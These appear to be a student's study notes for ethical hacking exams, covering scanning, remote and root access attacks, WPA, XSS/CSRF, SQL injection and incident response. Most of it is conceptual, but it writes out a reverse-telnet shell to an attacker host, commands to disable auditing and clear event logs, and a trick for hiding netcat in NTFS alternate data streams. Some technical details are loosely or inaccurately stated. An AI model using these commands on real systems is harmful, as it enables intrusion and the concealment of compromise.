

# Ethical Exams

## 2018-2021

---

### June 2018

1. Describe at least one technique to determine which services are running or listening on a remote host. Discuss pro and cons, and which tools you may use in practice

#### Ping and general information

The simplest scan is the ping command. Ping is an **ICMP** echo request and waits for an ICMP replay, which indicates that the target is alive. Usually ICMP is active only inside the network, and not for external traffic.

Other scan can use different type of packets:

**TCP Half Open** port scan or also called SYN scan, is used to do less noise and to discover open ports sending a SYN packet and waiting for an ACK replay, without sending the third ACK, so never completes the full 3 TCP handshake.

An RST response means that the port is closed, but there is a live computer.

If there isn't a replay to SYN or ICMP request means that the port is filtered.

**TCP Connect** scanning technique sends a SYN pack, waits for an ACK reply and sends an ACK reply to complete the TCP connection. TCP connection is not used because the number of packets is bigger than the number of packets used with the TCP Half Open, so the system can throw an alarm and the TCP connection can be detected by an IDS.

**UDP** scan is slower than TCP scan, but the services that use UDP can be very useful to an attacker. UDP scan works best if the packet sent is specific for the target service.

#### Nmap(W/L)

To determine which services are running or listening on a remote host we can use **NMAP**. Nmap can be also used to spot the address of the remote host, if it is not known. It is used in both Windows and Linux Operating Systems.



Nmap syntax is:

**nmap <options> <target>**

where the <target> can be hostname, network, ip address...

Some options can be:

- **-sV:** It enables version detection.
- **-sn:** No port scan after host discovery. It allows light reconnaissance of a target network without attracting much attention.
- **-O:** To detect the Operating System on the remote target.
- **-sS:** TCP SYN scan, it's a quick and secure way to do scan. It never completes TCP connections.
- **-sU:** It's used to perform an UDP scan and can be combined with a TCP scan(ie. add -sS).
- **-sC:**

There are also options to specific ports (**-p**), timing or firewall spoofing.

In windows nmap is used by a GUI.

## Netcat(W/L)

To determine which services are running or listening on a remote host we can use **Netcat(nc)**. Netcat is also used as a backdoor into other networked systems.

Netcat syntax is:


**nc <options> <target> <port>**

Some options can be:

- **-z:** scan only for open ports without sending any data
- **-u:** scan for UDP ports

## SuperScan and ScanLine(W)

SuperScan it's a port scanning software designed to detect TCP and UDP open ports on a target computer and to determine which services are running on those ports. It can only be run as Administrator and has a GUI. (ScanLine goes in the same direction).

- 
2. **Describe at least one attack method to gain remote access (RA) on a UNIX system. Describe at least one attack method to gain root access. Discuss pros and cons.**

## How remote attack works

(See [here](#))

When an attacker discovers an alive system, he can do a port scanner and look for vulnerable services. If no port is open there is no way to gain remote access exploiting a service.

### Brute-force Attacks

It's used to guess user ID and password combinations on a service that requires authentication:

- Telnet
- FTP
- SSH
- HTTP/HTTPS
- MySQL/Postgres, Oracle

In this attack it is useful to have a list of allowed user IDs to make it easier to find the password.

There are tools to automate brute-force attacks, such as:

- **THC Hydra**
- **Medusa**

These tools can take a list of user and password(also stored in a txt file) and attempt to authenticate remotely to a service.

**Countermeasures:** use strong passwords and use a password policy that force minimum length password, restrict number of login attempts failed and force a password change every few months. Use instead of a password a public key authentication.

### Buffer Overflow Attacks

A data-driven attack is executed by sending data to an active service that causes unintended or undesirable results. A buffer overflow is part of data-driven attacks.

---

A buffer overflow occurs when a user or process attempts to place more data into a buffer that was previously allocated. This type of behavior is associated with specific C functions such as strcpy(), sprintf()... Usually a buffer overflow causes a segmentation violation. A successful buffer overflow attack is verified when the attacker sends specific code that overflows the buffer and executes the command /bin/sh.

**Countermeasures:** Use security programming: Validate all user-modifiable input, use more security routines and check the return codes from the system call. Enable the Stack Smashing Protector(SSP) feature provided by the gcc compiler (use canary to identify stack overflows). Test and audit each program, enable stack execution protection and use the randomization of the address space.

## Format String Attack

This attack occurs when input data is elaborated as a command by the application.

## Reverse Telnet and Back Channels

If the target host provides an HTTP/HTTPS web server, we know that it runs with www privileges, so an attacker that can exploit the awstats input validation condition can execute code on the web server as the user www.

A back channel is a communication channel that originates from the target system rather than from the attacking system.

Telnet is used to create a back channel. The technique is called reverse telnet.

The attacker in own shell must listen(with netcat) on port 80 and 25, then he must execute on the target server:

```
/bin/telnet <HackerIP> 80 | /bin/bash | /bin/telnet <HackerIP> 25
```

Port 80 and 25 were chosen because they are common services allowed outbound by most firewalls.

## Exploit service - RA

### FTP

File Transfer Protocol that allows the download and upload file from remote systems. FTP servers can allow anonymous access. If it is not configured properly, it can also allow the access to all directory and not at only fixed branches. This allows the access of useful files to



the attacker.

FTP server can also allow world-writable directory, so, with the anonymous access an attacker may be able to place an .rhost file in a user's home directory, allowing the attacker to log into the target system using rlogin.

## NFS

Network File System allows transparent access to the files and directories of remote systems as if they were stored locally. A misconfiguration can allow everyone to export the file system, so any remote user can mount the file system without authentication.

**Countermeasures:** Disable the service. Allow only authorized users to access required files and disallow the SUID bit.

## Route through an Unix system - RA

An attacker can circumvent UNIX firewalls by source-routing packets through the firewall to internal systems. The attacker usually uses the firewall as a router.

## User-initiated remote execution - RA

Even if all ports are close, an attacker can enter into the system with malicious code injected in email attach or in web sites resources.

## Promiscuous-mode attacks - RA

If the network sniffer(ie. tcpdump) has vulnerabilities, using a promiscuous-mode attack, an attacker can send in a carefully crafted packet that turns your network sniffer into your worst security nightmare.

## Local Access

When an attacker gains an interactive command shell, it's considered to be local on the system. The attacker now must escalate user privileges to gain root access: privilege escalation.

However not always the attacker tries to gain root access, because it depends on what he is interested in.

## Password Composition Vulnerabilities

If the attacker has access to file that store password (ie. /etc/passwd, /etc/shadow) he can perform an automated dictionary attack, which is different from brute-force because it can be done offline and it is passive.

Cracking passwords, often, requires salt. This is a random value used like a second input of the hash function to ensure that the same password will not produce the same password hash. Usually the salt value is appended to the beginning of the password hash.

The password cracking program takes two inputs (the password in clear text and the salt) and returns the corresponding hash. If this hash is equal to the hash in the file, the attacker found the password.

- John the Ripper

## Local Buffer Overflow

Like for the remote access, this technique allows the attacker to execute arbitrary code and to exploit the SUID root files.

## Symlink

A symbolic link is a mechanism where a file is created via the ln command. It is a file that points to a different file.

With Symlink vulnerabilities an attacker can view the contents of other files not owned by a user

3. **Describe at least one method for attacking WPA. Which countermeasures can be used?**

## WPA

Wi-Fi Protected Access is a certification that identifies the level of compliance a particular device has with the IEEE 802.11i amendment and indicates that a device is certified to support at least Temporal Key Integrity Protocol.

There are two forms of WPA:

**WPA - PSK:** WPA Pre-Shared Key, where a pre-shared key is used as an input to a cryptographic function that derives encryption keys used to protect the session. This pre-shared key is known by the AP(access point) and all clients on the wireless network.

**WPA Enterprise:** it requires a RADIUS authentication server, providing additional security

In WPA - PSK the client and the access point perform a four-way handshake to establish these encryption keys. An attacker observing the four-way handshake can then launch an offline brute-force attack against it.

4. **Explain differences between Cross-Site scripting and Cross Site Request Forgery.**  
**Which countermeasures can be used?**

## Cross-Site scripting

XSS attacks are a type of injection, in which malicious scripts are injected into otherwise trusted websites.

The attacks by XSS are limited, but involve private data, cookies or other session information. The attacker makes the victim's browser execute a script (usually JavaScript) that has been injected by the attacker while visiting a trusted web site.

## Cross-Site Request Forgery

With a CSRF attack a malicious website tells the victim's web browser to send a malicious request to an honest site making use of the existing victim's content, such as cookies. (web applications provide users with persistent authenticated sessions)

Both the attacks are client-side and need some action of the end user, such as clicking on a link or visiting a website, but XSS executes a malicious script in your browser instead CSRF sends a malicious request on your behalf.

**Countermeasures XSS:** Filter Input on arrival based on what is expected or valid input.  
Encode data on output to prevent it from being interpreted as active content.  
Use appropriate response headers such as Content-Type and X-Content-Type-Options headers.  
Content Security Policy to reduce the severity of any XSS vulnerabilities that still occur.

**Countermeasures CSRF:** The most popular method to prevent Cross-site Request Forgery is to use a challenge token that is associated with a particular user and that is sent as a hidden value in every state-changing form in the web app.

July 2018

5. **Discuss the differences between scanning and enumeration. Describe at least one enumeration technique.**

## Scanning vs Enumeration

Scanning is a technique used to find alive systems and systems that are listening for inbound traffic. After determining this, an attacker enumerates the services of these systems to know better their vulnerabilities.

The bigger difference between Scanning and Enumeration is in the level of intrusiveness. Enumeration involves active connections to systems and directed queries and trying to identify valid users accounts or poorly protected resource shares.

Scanning techniques can be done with active or passive detection: To determine the OS an attacker can use nmap with the -O option or, instead to send packets, can passively monitor the network traffic and analyze the passive signature with Telnet and Snort.

Enumeration techniques take more time and make more noise. An attacker can use tools such as Nmap with different options that can make the scan port to enumerate version services more or less noisy and accurate.

Then an attacker must analyze the target to find vulnerability. This can be done in different ways.

Metasploit is a framework that allows attackers to scan ports and look for vulnerabilities and find possible exploits.

Also nessus is a vulnerability scanner and also a GUI.

However an attacker can also take advantage of misconfigurations in listening services in the target systems, such as anonymous access in FTP or NSF services that allow an attacker to enter in the system in a simple way.

6. **The Administrator account of a Windows server has been compromised. Host software cannot be re-installed for business reasons. With these assumptions, how do you plan and implement post-exploit activities for the host recovery. In particular, list the areas of the system on which to intervene, to restore the host's security. Discuss in detail at least one of these areas of intervention, listing the activities to be carried out, the tools, the line commands to be used, etc. (page 326)**



## Indicators of Compromise

Malware wants to survive to reboot. To do this it can use several mechanisms:

- Using various 'Run' Registry keys
- Creating a service
- Hooking into an existing service
- Using a scheduled task
- Disguising communications as valid traffic
- Overwriting the master boot record
- Overwriting the system's BIOS

The incident response, in a compromised system, is performed follow the order of volatility describe in the rfc 3227

- Memory
- Page or swap file
- Running process information
- Network data (listening ports or existing connection to other systems)
- System Registry
- System or application log files
- Forensic image of disks
- Backup media

During any investigation, it's important to avoid contaminating the evidence as little as possible.

### Memory Capture

Perform a memory dump of the compromised computer and export it to the external mass-storage device. This dump can be useful for analysis of related malware within the Volatility Framework Tools.

With FTK Imager select the Capture Memory option and select the external mass-storage device.

Memory analysis is performed after that has gathered all the evidence. Each analysis tool has the ability to extract process-related information from memory snapshot, including threads, strings, communications and dependencies.

## Pagefile and Swapfile

The virtual memory used on a Windows system is stored in the Pagefile.sys file, that is in the root directory of the C: drive.

This file can contain useful information about malware infections or targeted attacks.

The Hyberfil.sys file contains data stored while the system is in hibernation mode.

Also in this case, with the FTK Imager we can copy this file on another disk.

## Memory Analysis

The Volatility Framework is used to analyze the memory dump file

### **7. Describe UNIX permission system and the main attack vectors related to permission system.**

In Unix all is a file with associated permissions. If the permissions are misconfigured, the system can be affected by several problems.

SUID root files and world-writable files are big vulnerabilities for the systems.

Permissions for devices are also very important. An attacker who can create, read or write a device probably will gain root access.

The SUID bit allows the user to execute the file with the owner's permission for a period of time, so is very dangerous if the owner is the root and a normal user can execute it.

Also the SGID is very used to gain privileges and do malicious activities.

### **8. Describe the SQL injection technique in web applications. Discuss the possible countermeasures. Describe at least one automated SQL injection tool**

SQL injection is a common website vulnerability. In response to a request for a web page, the application generates a query (often with portions of the request into the query). If there isn't a strong check on how it constructs the query, an attacker can alter the query changing how it is processed by external service.

SQL injection is used to inject raw SQL queries into an application to perform an unexpected action. Often are the existing queries that are modified to obtain the same result.

SQL is easy to manipulate, because if there isn't a good implementation, it's enough using the common character, such as backtick (`) or double dash(--) or semicolon(;), because all of these have special meaning in SQL.

Some tools can be:

SQL Power Injector or sqlmap.

Some countermeasures could be an use of bind variables(parameterized queries), an input validation for any input from the client, lock down the database server configuration.

**9. Explain what steps an attacker should take to cover his tracks after successfully gaining administrator privileges on the Windows system in order to avoid detection. Attackers can aid their files in the system?**

### Disabling Auditing

An **audit policy** defines account limits for a set of users of one or more resources.

Because auditing can slow performance on active servers most Windows admins either don't enable auditing or enable only a few checks. The first thing intruders check on gaining Administrator privilege is the Audit policy status on the target.

'Auditpol' command with the 'disable' argument to turn off the auditing on a remote system:  
*\$auditpol /disable*

At the end of their stay, the intruders simply turn on auditing again using the *\$auditpol /enable* switch.

### Clearing the Event Log

If activities leading to Administrator status have already left telltale traces in the Windows Event Log, intruders may just wipe the logs clean with the Event Viewer.

Event Viewer on the attacker's host can open, read and clear the remote host's logs. This process clears the log of all records but it does leave one new record stating that the Event Log has been cleared by 'attacker' (can raise alarms among system users). T

The 'ELSave' utility is a simple tool for clearing the Event Log. Syntax to clear the Security Log on the remote server 'joel': *\$elsave -s \\joel -l "Security" -C*

## Hiding Files

Keeping a toolkit on the target system for later use is a great timesaver for the next attack. However this utility collectors can alert the system admins to an intruder's presence. So the attacker try to hide the various files necessary to launch the next attack:

**attrib** to remove and set file attributes:

Copying files to a directory and using the old DOS attrib tool to hide it:

```
$attrib +h <directory>
```

(hides files and directories from command-line tools, but not if the 'Show All Files' is selected in Windows Explorer)

## ADS (Alternate Data Streams)

If the target system runs the Windows File System(NTFS), an alternate file-hiding technique is available to intruders.

NTFS offers support for multiple streams of information within a file (a mechanism to add additional attributes or information to a file without restructuring the file system).

It can also be used to hide a malicious hacker's toolkit in streams behind files(called adminkit). Any file could be used.

```
$cp nc.exe <file>:nc.exe
```

When an attacker uses this mechanism the modification date of the file change, but not the size, infact hidden streamed files are hard to detect.

Streamed files can still be executed and to execute the command:

```
$start <file>:nc.exe
```

## Rootkits:

A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not otherwise allowed (for example, to an unauthorized user) and often masks its existence or the existence of other software.